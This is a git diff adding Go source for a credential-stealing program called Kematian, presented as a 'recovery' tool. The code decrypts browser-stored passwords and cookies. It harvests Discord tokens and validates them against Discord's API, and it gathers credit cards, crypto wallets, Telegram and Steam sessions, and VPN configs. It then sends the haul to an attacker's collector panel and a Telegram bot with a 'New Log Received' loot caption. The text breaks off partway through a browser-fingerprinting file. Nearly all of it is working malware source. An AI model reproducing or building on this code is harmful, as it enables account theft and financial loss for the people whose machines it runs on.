+ case "v10", "v11": + key = v10Key + case "v20": + key = v20Key + } + } + + if key == nil || len(key) == 0 { + return "" + } + if len(encrypted) < 3+12+16 { + return "" + } + + nonce := encrypted[3:15] + tag := encrypted[len(encrypted)-16:] + ciphertext := encrypted[15 : len(encrypted)-16] + + plaintext, err := aesGCMDecrypt(key, nonce, ciphertext, tag) + if err != nil { + return "" + } + return CleanPassword(plaintext) +} + +func aesGCMDecrypt(key, nonce, ciphertext, tag []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + aesGCM, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + ctWithTag := make([]byte, len(ciphertext)+len(tag)) + copy(ctWithTag, ciphertext) + copy(ctWithTag[len(ciphertext):], tag) + return aesGCM.Open(nil, nonce, ctWithTag, nil) +} diff --git a/Kematian-Standalone/native/recovery/crypto/log.go b/Kematian-Standalone/native/recovery/crypto/log.go new file mode 100644 index 0000000..dc8d5df --- /dev/null +++ b/Kematian-Standalone/native/recovery/crypto/log.go @@ -0,0 +1,7 @@ +package crypto + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[crypto] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/db/clone_test.go b/Kematian-Standalone/native/recovery/db/clone_test.go new file mode 100644 index 0000000..4b55c09 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/clone_test.go @@ -0,0 +1,44 @@ +package db + +import ( + "database/sql" + "path/filepath" + "testing" + + _ "github.com/mattn/go-sqlite3" +) + +func TestOpenDatabaseReadsLiveWAL(t *testing.T) { + dir := t.TempDir() + dbPath := filepath.Join(dir, "Cookies") + + live, err := sql.Open("sqlite3", dbPath) + if err != nil { + t.Fatal(err) + } + live.SetMaxOpenConns(1) + defer live.Close() + if _, err := live.Exec("PRAGMA journal_mode=WAL"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("CREATE TABLE cookies (host_key TEXT, value TEXT)"); err != nil { + t.Fatal(err) + } + if _, err := live.Exec("INSERT INTO cookies VALUES ('example.com', 'secret')"); err != nil { + t.Fatal(err) + } + + d, err := OpenDatabase(dbPath, nil) + if err != nil { + t.Fatalf("OpenDatabase: %v", err) + } + defer d.Close() + + var n int + if err := d.QueryRow("SELECT COUNT(*) FROM cookies").Scan(&n); err != nil { + t.Fatalf("query: %v", err) + } + if n != 1 { + t.Fatalf("expected 1 cookie row, got %d", n) + } +} diff --git a/Kematian-Standalone/native/recovery/db/db.go b/Kematian-Standalone/native/recovery/db/db.go new file mode 100644 index 0000000..5ccd3c0 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/db.go @@ -0,0 +1,122 @@ +package db + +import ( + "context" + "database/sql" + "fmt" + "os" + "path/filepath" + "strings" + + "recovery/recovery/platform" + + sqlite3 "github.com/mattn/go-sqlite3" +) + +func OpenDatabase(dbPath string, pids []uint32) (*sql.DB, error) { + cleanPath := dbPath + if i := strings.IndexByte(dbPath, '?'); i >= 0 { + cleanPath = dbPath[:i] + } + + hasWAL := false + if wal, err := os.Stat(cleanPath + "-wal"); err == nil && wal.Size() > 0 { + hasWAL = true + } + + if !hasWAL { + uri := fmt.Sprintf("file:%s?mode=ro&nolock=1&immutable=1", dbPath) + if db, err := sql.Open("sqlite3", uri); err == nil { + if err := db.Ping(); err == nil { + logf("opened %s via immutable snapshot", dbPath) + return db, nil + } + db.Close() + } + } + + if snapshot, cloneErr := cloneSnapshot(cleanPath, pids); cloneErr == nil { + logf("opened %s via cloned snapshot (%d bytes)", dbPath, len(snapshot)) + return OpenDatabaseFromBytes(snapshot) + } else { + logf("clone failed for %s: %v; falling back to direct read", dbPath, cloneErr) + } + + data, err := platform.ReadLockedFile(cleanPath, pids) + if err != nil { + return nil, fmt.Errorf("open %s: %w", dbPath, err) + } + logf("opened %s via injected ReadLockedFile (%d bytes)", dbPath, len(data)) + return OpenDatabaseFromBytes(data) +} + +func cloneSnapshot(dbPath string, pids []uint32) ([]byte, error) { + tmp, err := os.MkdirTemp("", "kematian_db_*") + if err != nil { + return nil, err + } + defer os.RemoveAll(tmp) + + clonePath := filepath.Join(tmp, filepath.Base(dbPath)) + + mainData, err := platform.ReadLockedFile(dbPath, pids) + if err != nil { + return nil, err + } + if err := os.WriteFile(clonePath, mainData, 0600); err != nil { + return nil, err + } + + for _, suffix := range []string{"-wal", "-journal"} { + src := dbPath + suffix + if info, err := os.Stat(src); err == nil && info.Size() > 0 { + if data, err := platform.ReadLockedFile(src, pids); err == nil { + if err := os.WriteFile(clonePath+suffix, data, 0600); err != nil { + return nil, err + } + } + } + } + + d, err := sql.Open("sqlite3", clonePath) + if err != nil { + return nil, err + } + d.SetMaxOpenConns(1) + if _, err := d.Exec("PRAGMA journal_mode=DELETE"); err != nil { + d.Close() + return nil, err + } + d.Close() + + return os.ReadFile(clonePath) +} + +func OpenDatabaseFromBytes(data []byte) (*sql.DB, error) { + db, err := sql.Open("sqlite3", ":memory:") + if err != nil { + return nil, err + } + db.SetMaxOpenConns(1) + + conn, err := db.Conn(context.Background()) + if err != nil { + db.Close() + return nil, err + } + + err = conn.Raw(func(driverConn interface{}) error { + sqliteConn, ok := driverConn.(*sqlite3.SQLiteConn) + if !ok { + return fmt.Errorf("not a sqlite3 connection") + } + return sqliteConn.Deserialize(data, "main") + }) + conn.Close() + + if err != nil { + db.Close() + return nil, fmt.Errorf("deserialize: %w", err) + } + return db, nil +} diff --git a/Kematian-Standalone/native/recovery/db/log.go b/Kematian-Standalone/native/recovery/db/log.go new file mode 100644 index 0000000..40c6612 --- /dev/null +++ b/Kematian-Standalone/native/recovery/db/log.go @@ -0,0 +1,7 @@ +package db + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[db] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/discord/common.go b/Kematian-Standalone/native/recovery/discord/common.go new file mode 100644 index 0000000..4bc860a --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/common.go @@ -0,0 +1,35 @@ +package discord + +import ( + "net/http" + "regexp" + "time" + + "recovery/recovery/types" +) + +var TokenRe = regexp.MustCompile(`[\w-]{24,30}\.[\w-]{6}\.[\w-]{27,42}|mfa\.[\w-]{80,95}`) +var EncRe = regexp.MustCompile(`dQw4w9WgXcQ:[^"\\]+`) +var HTTPClient = &http.Client{Timeout: 8 * time.Second} + +type DiscordApp struct { + Name string + Dir string +} + +func CheckToken(token string) bool { + req, err := http.NewRequest("GET", "https://discord.com/api/v9/users/@me", nil) + if err != nil { + return false + } + req.Header.Set("Authorization", token) + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36") + resp, err := HTTPClient.Do(req) + if err != nil { + return false + } + resp.Body.Close() + return resp.StatusCode == 200 +} + +type TokenResult = types.DiscordTokenResult diff --git a/Kematian-Standalone/native/recovery/discord/discord_unix.go b/Kematian-Standalone/native/recovery/discord/discord_unix.go new file mode 100644 index 0000000..ccfd45c --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/discord_unix.go @@ -0,0 +1,184 @@ +//go:build !windows + +package discord + +import ( + "crypto/sha1" + "encoding/base64" + "encoding/json" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" + + "golang.org/x/crypto/pbkdf2" +) + +func discordConfigDir() string { + home, _ := os.UserHomeDir() + if runtime.GOOS == "darwin" { + return filepath.Join(home, "Library", "Application Support") + } + xdg := os.Getenv("XDG_CONFIG_HOME") + if xdg != "" { + return xdg + } + return filepath.Join(home, ".config") +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + _ = encKeyB64 + + if runtime.GOOS == "linux" { + return pbkdf2.Key([]byte("peanuts"), []byte("saltysalt"), 1, 16, sha1.New) + } + if runtime.GOOS == "darwin" { + return darwinDiscordKey() + } + return nil +} + +func darwinDiscordKey() []byte { + for _, service := range []string{"Chromium Safe Storage", "Chrome Safe Storage"} { + out, err := exec.Command("security", "find-generic-password", "-wa", service).Output() + if err != nil { + continue + } + password := strings.TrimSpace(string(out)) + if password != "" { + return pbkdf2.Key([]byte(password), []byte("saltysalt"), 1003, 16, sha1.New) + } + } + return nil +} + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + configDir := discordConfigDir() + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(configDir, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + pids, _ := platform.FindProcesses(app.Dir) + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := discordV10Key(appDir) + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + return nil + } + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + return out +} diff --git a/Kematian-Standalone/native/recovery/discord/discord_windows.go b/Kematian-Standalone/native/recovery/discord/discord_windows.go new file mode 100644 index 0000000..cd9de12 --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/discord_windows.go @@ -0,0 +1,171 @@ +//go:build windows + +package discord + +import ( + "encoding/base64" + "encoding/json" + "os" + "path/filepath" + "strings" + "sync" + + "recovery/recovery/crypto" + "recovery/recovery/platform" +) + +var discordApps = []DiscordApp{ + {"Discord", "discord"}, + {"Discord PTB", "discordptb"}, + {"Discord Canary", "discordcanary"}, + {"Discord Dev", "discorddevelopment"}, +} + +func discordV10Key(appDir string) []byte { + data, err := os.ReadFile(filepath.Join(appDir, "Local State")) + if err != nil { + return nil + } + var state map[string]interface{} + if err := json.Unmarshal(data, &state); err != nil { + return nil + } + osCrypt, _ := state["os_crypt"].(map[string]interface{}) + if osCrypt == nil { + return nil + } + encKeyB64, _ := osCrypt["encrypted_key"].(string) + if encKeyB64 == "" { + return nil + } + encKey, err := base64.StdEncoding.DecodeString(encKeyB64) + if err != nil || len(encKey) <= 5 { + return nil + } + key, err := crypto.CryptUnprotectData(encKey[5:]) + if err != nil { + return nil + } + return key +} + +var discordExeNames = map[string]string{ + "discord": "Discord.exe", + "discordptb": "DiscordPTB.exe", + "discordcanary": "DiscordCanary.exe", + "discorddevelopment": "DiscordDevelopment.exe", +} + +func readDiscordFile(path string, pids []uint32) ([]byte, error) { + return platform.ReadLockedFile(path, pids) +} + +func ExtractTokens() []TokenResult { + appdata := os.Getenv("APPDATA") + if appdata == "" { + return nil + } + + type candidate struct { + token string + source string + } + + seen := make(map[string]struct{}) + var candidates []candidate + + for _, app := range discordApps { + appDir := filepath.Join(appdata, app.Dir) + leveldb := filepath.Join(appDir, "Local Storage", "leveldb") + + entries, err := os.ReadDir(leveldb) + if err != nil { + continue + } + + exeName := discordExeNames[app.Dir] + pids, _ := platform.FindProcesses(exeName) + + var v10Key []byte + keyOnce := sync.Once{} + getKey := func() []byte { + keyOnce.Do(func() { v10Key = discordV10Key(appDir) }) + return v10Key + } + + for _, e := range entries { + if e.IsDir() { + continue + } + ext := strings.ToLower(filepath.Ext(e.Name())) + if ext != ".log" && ext != ".ldb" { + continue + } + data, err := readDiscordFile(filepath.Join(leveldb, e.Name()), pids) + if err != nil { + continue + } + + for _, m := range TokenRe.FindAll(data, -1) { + tok := string(m) + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + + for _, m := range EncRe.FindAll(data, -1) { + raw := string(m) + colonIdx := strings.Index(raw, ":") + if colonIdx < 0 { + continue + } + blob, err := base64.StdEncoding.DecodeString(raw[colonIdx+1:]) + if err != nil { + continue + } + key := getKey() + if key == nil { + continue + } + tok := crypto.DecryptChromiumBlob(blob, key, nil) + if tok == "" || !TokenRe.MatchString(tok) { + continue + } + if _, dup := seen[tok]; !dup { + seen[tok] = struct{}{} + candidates = append(candidates, candidate{tok, app.Name}) + } + } + } + } + + if len(candidates) == 0 { + logf("no candidate tokens found") + return nil + } + logf("found %d candidate tokens", len(candidates)) + + valid := make([]bool, len(candidates)) + var wg sync.WaitGroup + sem := make(chan struct{}, 6) + for i, c := range candidates { + wg.Add(1) + go func(idx int, tok string) { + defer wg.Done() + sem <- struct{}{} + valid[idx] = CheckToken(tok) + <-sem + }(i, c.token) + } + wg.Wait() + + var out []TokenResult + for i, c := range candidates { + if valid[i] { + out = append(out, TokenResult{Token: c.token, Source: c.source}) + } + } + logf("%d/%d tokens validated", len(out), len(candidates)) + return out +} diff --git a/Kematian-Standalone/native/recovery/discord/log.go b/Kematian-Standalone/native/recovery/discord/log.go new file mode 100644 index 0000000..538f311 --- /dev/null +++ b/Kematian-Standalone/native/recovery/discord/log.go @@ -0,0 +1,7 @@ +package discord + +import "log" + +func logf(format string, args ...interface{}) { + log.Printf("[discord] "+format, args...) +} diff --git a/Kematian-Standalone/native/recovery/exfil/panel.go b/Kematian-Standalone/native/recovery/exfil/panel.go new file mode 100644 index 0000000..f460f73 --- /dev/null +++ b/Kematian-Standalone/native/recovery/exfil/panel.go @@ -0,0 +1,248 @@ +package exfil + +import ( + "bytes" + "crypto/ecdh" + "crypto/rand" + "crypto/sha256" + "encoding/base64" + "encoding/hex" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "runtime" + "strings" + "time" + + "golang.org/x/crypto/chacha20poly1305" + "golang.org/x/crypto/hkdf" + + "recovery/recovery/types" +) + +// PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at +// build time (see build_final.bat or set here). +// PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on +// the panel. Only this public key is needed to post; decryption needs the +// private key that only the panel holds. +var ( + PanelEndpoint = "http://127.0.0.1:5000/api/ingest" + PanelPubKey = "" + // Ingest key must match PANEL_INGEST_KEY on the panel. + PanelAuth = "CHANGE-ME" +) + +const ( + e2eeSalt = "kematian-e2ee-salt" + e2eeInfo = "kematian-e2ee-v1" +) + +// e2eeSeal encrypts plaintext toward the panel's public key. +// Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext ) +func e2eeSeal(plaintext []byte) (string, error) { + pkBytes, err := hex.DecodeString(PanelPubKey) + if err != nil || len(pkBytes) != 32 { + return "", fmt.Errorf("invalid panel public key: %v", err) + } + curve := ecdh.X25519() + panelPub, err := curve.NewPublicKey(pkBytes) + if err != nil { + return "", err + } + ephPriv, err := curve.GenerateKey(rand.Reader) + if err != nil { + return "", err + } + shared, err := ephPriv.ECDH(panelPub) + if err != nil { + return "", err + } + + // HKDF-SHA256(shared, salt, info) -> 32-byte key + r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo)) + key := make([]byte, chacha20poly1305.KeySize) + if _, err := io.ReadFull(r, key); err != nil { + return "", err + } + + aead, err := chacha20poly1305.New(key) + if err != nil { + return "", err + } + nonce := make([]byte, aead.NonceSize()) + if _, err := rand.Read(nonce); err != nil { + return "", err + } + ct := aead.Seal(nil, nonce, plaintext, nil) + + wire := append(ephPriv.PublicKey().Bytes(), nonce...) + wire = append(wire, ct...) + return base64.StdEncoding.EncodeToString(wire), nil +} + +// ensurePubKey fetches the panel's E2EE public key at runtime if it isn't +// already embedded. This removes the need to paste the key at build time: only +// the endpoint + auth key are baked in, the agent asks the panel for its key. +func ensurePubKey() error { + if PanelPubKey != "" { + return nil + } + req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil) + if err != nil { + return err + } + req.Header.Set("Authorization", "Bearer "+PanelAuth) + resp, err := http.DefaultClient.Do(req) + if err != nil { + return fmt.Errorf("fetching pubkey: %w", err) + } + defer resp.Body.Close() + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("pubkey endpoint returned %s", resp.Status) + } + body, _ := io.ReadAll(resp.Body) + var out struct { + PublicKey string `json:"publicKey"` + } + if err := json.Unmarshal(body, &out); err != nil { + return fmt.Errorf("parsing pubkey: %w", err) + } + if len(out.PublicKey) != 64 { + return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey)) + } + PanelPubKey = out.PublicKey + return nil +} + +func buildBaseURL() string { + return strings.TrimSuffix(PanelEndpoint, "/api/ingest") +} + +// SendToPanel posts the encrypted CollectionResult (+ optional binary payloads) +// to the collector panel over E2EE. +func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error { + if PanelEndpoint == "" { + return fmt.Errorf("panel endpoint not configured") + } + if err := ensurePubKey(); err != nil { + return err + } + if PanelPubKey == "" { + return fmt.Errorf("no pubkey available") + } + + payload := buildPanelPayload(result, clientID) + if len(payloads) > 0 { + payload["payloads"] = payloads + } + + plainJSON, err := json.Marshal(payload) + if err != nil { + return err + } + enc, err := e2eeSeal(plainJSON) + if err != nil { + return err + } + body, _ := json.Marshal(map[string]string{"enc": enc}) + + req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body)) + if err != nil { + return err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("Authorization", "Bearer "+PanelAuth) + + client := &http.Client{Timeout: 60 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + respBody, _ := io.ReadAll(resp.Body) + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody))) + } + return nil +} + +func guessOS() string { + if runtime.GOOS == "windows" { + return os.Getenv("OS") + } + return runtime.GOOS +} + +func guessArch() string { + return runtime.GOARCH +} + +func GenerateClientID() string { + b := make([]byte, 12) + _, _ = rand.Read(b) + return base64.RawURLEncoding.EncodeToString(b) +} + +// buildPanelPayload maps a CollectionResult to the flat structure the panel +// ingest stores into its per-category tables. clientID groups everything. +func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} { + p := map[string]interface{}{ + "clientId": clientID, + "host": map[string]interface{}{ + "os": guessOS(), + "arch": guessArch(), + }, + } + if l := len(r.Passwords); l > 0 { + p["passwords"] = r.Passwords + } + if l := len(r.Cookies); l > 0 { + p["cookies"] = r.Cookies + } + if l := len(r.Autofill); l > 0 { + p["autofill"] = r.Autofill + } + if l := len(r.History); l > 0 { + p["history"] = r.History + } + if l := len(r.Bookmarks); l > 0 { + p["bookmarks"] = r.Bookmarks + } + if l := len(r.CreditCards); l > 0 { + p["creditCards"] = r.CreditCards + } + if l := len(r.DiscordTokens); l > 0 { + p["discordTokens"] = r.DiscordTokens + } + if l := len(r.Files); l > 0 { + p["files"] = r.Files + } + if l := len(r.Extensions); l > 0 { + p["extensions"] = r.Extensions + } + if l := len(r.Wallets); l > 0 { + p["wallets"] = r.Wallets + } + if l := len(r.Telegram); l > 0 { + p["telegram"] = r.Telegram + } + if l := len(r.Keys); l > 0 { + p["keys"] = r.Keys + } + if l := len(r.AppCredentials); l > 0 { + p["appCredentials"] = r.AppCredentials + } + if r.Gaming != nil { + p["gaming"] = r.Gaming + if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 { + p["steamTokens"] = r.Gaming.Steam.SteamTokens + } + } + if r.VPNs != nil { + p["vpns"] = r.VPNs + } + return p +} diff --git a/Kematian-Standalone/native/recovery/exfil/telegram.go b/Kematian-Standalone/native/recovery/exfil/telegram.go new file mode 100644 index 0000000..eb75548 --- /dev/null +++ b/Kematian-Standalone/native/recovery/exfil/telegram.go @@ -0,0 +1,264 @@ +package exfil + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "mime/multipart" + "net/http" + "os" + "path/filepath" + "strings" + "time" + + "recovery/recovery" + "recovery/recovery/types" + "recovery/recovery/ziputil" +) + +type TelegramConfig struct { + BotToken string + ChatID string +} + +func SendToTelegram(cfg TelegramConfig, zipData []byte, filename string, counts map[string]int) error { + url := fmt.Sprintf("https://api.telegram.org/bot%s/sendDocument", cfg.BotToken) + + hostname, _ := os.Hostname() + username := os.Getenv("USERNAME") + if username == "" { + username = os.Getenv("USER") + } + + ip := getExternalIP() + + caption := fmt.Sprintf(`✨ New Log Received ✨ + +💻 User: %s@%s +🌍 IP: %s + +📊 Main Loot: +🔑 Passwords: %d +🍪 Cookies: %d +💰 Wallets: %d + +📦 Additional Data: +💬 Messengers: %d +🔐 Extensions: %d +🔑 Keys: %d +🎮 Gaming: %d +🌐 VPNs: %d +📁 Files: %d`, + username, hostname, ip, + counts["passwords"], counts["cookies"], counts["wallets"], + counts["telegram"], counts["extensions"], counts["keys"], + counts["gaming"], counts["vpns"], counts["files"]) + + var buf bytes.Buffer + writer := multipart.NewWriter(&buf) + + _ = writer.WriteField("chat_id", cfg.ChatID) + _ = writer.WriteField("caption", caption) + _ = writer.WriteField("parse_mode", "HTML") + + part, err := writer.CreateFormFile("document", filename) + if err != nil { + return err + } + _, _ = part.Write(zipData) + writer.Close() + + req, err := http.NewRequestWithContext(context.Background(), "POST", url, &buf) + if err != nil { + return err + } + req.Header.Set("Content-Type", writer.FormDataContentType()) + + client := &http.Client{Timeout: 120 * time.Second} + resp, err := client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusOK { + body, _ := io.ReadAll(resp.Body) + return fmt.Errorf("telegram API error: %s - %s", resp.Status, string(body)) + } + return nil +} + +func getExternalIP() string { + client := &http.Client{Timeout: 5 * time.Second} + resp, err := client.Get("https://api.ipify.org") + if err != nil { + return "unknown" + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + return strings.TrimSpace(string(body)) +} + +func CollectAndZipAll(ctx context.Context) ([]byte, map[string]int, error) { + result, zipData, counts, _, err := CollectResultAndZip(ctx) + if err != nil { + return nil, nil, err + } + _ = result + return zipData, counts, nil +} + +// CollectResultAndZip collects a full snapshot and returns: +// - the typed result (for the panel) +// - a single zip of every json+dump for Telegram +// - per-category counts +// - individual binary payloads (wallet/telegram/steam zips) for the panel +func CollectResultAndZip(ctx context.Context) (*types.CollectionResult, []byte, map[string]int, []types.Payload, error) { + opts := types.CollectOptions{ + Browsers: true, + Passwords: true, + Cookies: true, + Autofill: true, + History: true, + Bookmarks: true, + CreditCards: true, + Discord: true, + Files: true, + Wallets: true, + Telegram: true, + Keys: true, + Apps: true, + Gaming: true, + VPNs: true, + } + + tmpDir, err := os.MkdirTemp("", "kematian-*") + if err != nil { + return nil, nil, nil, nil, err + } + defer os.RemoveAll(tmpDir) + + result, err := recovery.Collect(ctx, opts, nil) + if err != nil { + return nil, nil, nil, nil, fmt.Errorf("collection failed: %w", err) + } + + extensions := recovery.ScanExtensions() + result.Extensions = extensions + + counts := map[string]int{ + "passwords": len(result.Passwords), + "cookies": len(result.Cookies), + "wallets": len(result.Wallets), + "telegram": len(result.Telegram), + "extensions": len(result.Extensions), + "keys": len(result.Keys), + "gaming": 0, + "vpns": 0, + "files": len(result.Files), + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil { + counts["gaming"]++ + } + counts["gaming"] += len(result.Gaming.BattleNet) + len(result.Gaming.Epic) + len(result.Gaming.Riot) + len(result.Gaming.Uplay) + } + if result.VPNs != nil { + counts["vpns"] = len(result.VPNs.NordVPN) + len(result.VPNs.WireGuard) + len(result.VPNs.OpenVPN) + len(result.VPNs.Mullvad) + } + + writeJSON := func(name string, data interface{}) error { + jsonData, err := json.MarshalIndent(data, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(tmpDir, name+".json"), jsonData, 0644) + } + + _ = writeJSON("passwords", result.Passwords) + _ = writeJSON("cookies", result.Cookies) + _ = writeJSON("autofill", result.Autofill) + _ = writeJSON("history", result.History) + _ = writeJSON("bookmarks", result.Bookmarks) + _ = writeJSON("credit_cards", result.CreditCards) + _ = writeJSON("discord_tokens", result.DiscordTokens) + _ = writeJSON("extensions", result.Extensions) + _ = writeJSON("wallets", result.Wallets) + _ = writeJSON("telegram", result.Telegram) + _ = writeJSON("keys", result.Keys) + _ = writeJSON("app_credentials", result.AppCredentials) + _ = writeJSON("gaming", result.Gaming) + _ = writeJSON("vpns", result.VPNs) + var steamTokens []types.SteamTokenResult + if result.Gaming != nil && result.Gaming.Steam != nil { + steamTokens = result.Gaming.Steam.SteamTokens + } + _ = writeJSON("steam_tokens", steamTokens) + _ = writeJSON("fingerprint", recovery.CollectFingerprint()) + _ = writeJSON("js_fingerprint", recovery.CollectJSFingerprint()) + _ = writeJSON("meta", map[string]string{"collected_at": time.Now().Format(time.RFC3339)}) + + // Individual payloads are shipped to the panel directly so it can host the + // actual login files (wallet dirs, telegram sessions, steam session). + var payloads []types.Payload + + for _, wallet := range result.Wallets { + if wallet.Path != "" { + zipData, err := recovery.ZipDirectory(wallet.Path) + if err == nil && len(zipData) > 0 { + fname := fmt.Sprintf("wallet_%s.zip", sanitizeFilename(wallet.Name)) + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "wallet", Name: wallet.Name, Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + for _, tg := range result.Telegram { + if tg.Path != "" { + zipData, err := recovery.ZipTelegram(tg.Path) + if err == nil && len(zipData) > 0 { + fname := fmt.Sprintf("telegram_%s.zip", sanitizeFilename(tg.Account)) + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "telegram", Name: tg.Account, Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + if result.Gaming != nil { + if result.Gaming.Steam != nil && result.Gaming.Steam.SteamPath != "" { + zipData, err := recovery.ZipSteamSession(result.Gaming.Steam.SteamPath) + if err == nil && len(zipData) > 0 { + fname := "steam_session.zip" + os.WriteFile(filepath.Join(tmpDir, fname), zipData, 0644) + payloads = append(payloads, types.Payload{ + Category: "steam", Name: "steam", Filename: fname, + Size: len(zipData), Data: zipData, + }) + } + } + } + + zipData, err := ziputil.ZipDirectory(tmpDir) + if err != nil { + return nil, nil, nil, nil, err + } + + return result, zipData, counts, payloads, nil +} + +func sanitizeFilename(name string) string { + replacer := strings.NewReplacer( + "/", "_", "\\", "_", ":", "_", "*", "_", "?", "_", + "\"", "_", "<", "_", ">", "_", "|", "_", " ", "_", + ) + return replacer.Replace(name) +} \ No newline at end of file diff --git a/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go new file mode 100644 index 0000000..96e27aa --- /dev/null +++ b/Kematian-Standalone/native/recovery/fingerprint/fingerprint_browser.go @@ -0,0 +1,264 @@ +//go:build windows + +package fingerprint + +import ( + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "os/exec" + "path/filepath" + "strings" + "time" + + "github.com/chromedp/cdproto/runtime" + "github.com/chromedp/chromedp" +) + +func evalAwaitPromise(p *runtime.EvaluateParams) *runtime.EvaluateParams { + return p.WithAwaitPromise(true) +} + +const fingerprintJS = `(async () => { + const out = {}; + try { + const c = document.createElement("canvas"); + c.width = 220; c.height = 60; + const x = c.getContext("2d"); + x.textBaseline = "top"; + x.font = "14px 'Arial'"; + x.fillStyle = "#f60"; + x.fillRect(0, 0, 220, 60); + x.fillStyle = "#069"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 2, 2); + x.fillStyle = "rgba(102, 204, 0, 0.7)"; + x.fillText("Cwm fjordbank glyphs vext quiz \uD83D\uDE03", 4, 17); + x.fillStyle = "#f60"; + x.beginPath(); x.arc(100, 40, 20, 0, Math.PI * 2, true); x.fill(); + out.canvas = c.toDataURL(); + } catch (e) {} + try { + const gl = document.createElement("canvas").getContext("webgl"); + if (gl) { + const ext = gl.getExtension("WEBGL_debug_renderer_info"); + out.webglRenderer = ext ? String(gl.getParameter(ext.UNMASKED_RENDERER_WEBGL)) : String(gl.getParameter(gl.RENDERER)); + out.webglVendor = ext ? String(gl.getParameter(ext.UNMASKED_VENDOR_WEBGL)) : 